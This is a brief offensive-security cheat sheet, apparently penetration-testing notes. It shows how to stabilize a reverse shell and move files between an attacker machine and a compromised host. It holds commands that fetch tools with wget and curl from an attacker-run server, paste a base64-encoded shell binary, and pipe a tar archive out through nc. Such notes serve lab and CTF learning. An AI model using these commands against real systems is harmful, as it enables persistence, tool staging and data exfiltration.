Tricks
Stabilize a shell
python -c 'import pty; pty.spawn("/bin/bash")' # rshell
^Z
stty raw -echo # attack machine
fg # attack machine
echo $TERM # attack machine (another terminal)
stty size # attack machine(another terminal)
export TERM=xterm-256color # rshell
stty rows 45 columns 256 # rshelltransferring files
cd /tmp
# Using a Web server
python3 -m http.server 8000
wget http://10.10.14.1:8000/linenum.sh
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
# Using SCP
scp linenum.sh user@remotehost:/tmp/linenum.sh
# Using base64
base64 shell -w 0
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
# Validating the file by comparing the hash
md5sum shell # on my machine
md5sum shell # remote machine
# Using Compresion
tar czf - $folder | nc $MY_IP $port
nc -lnvp $port | tar xvfz - SSL connection
Last updated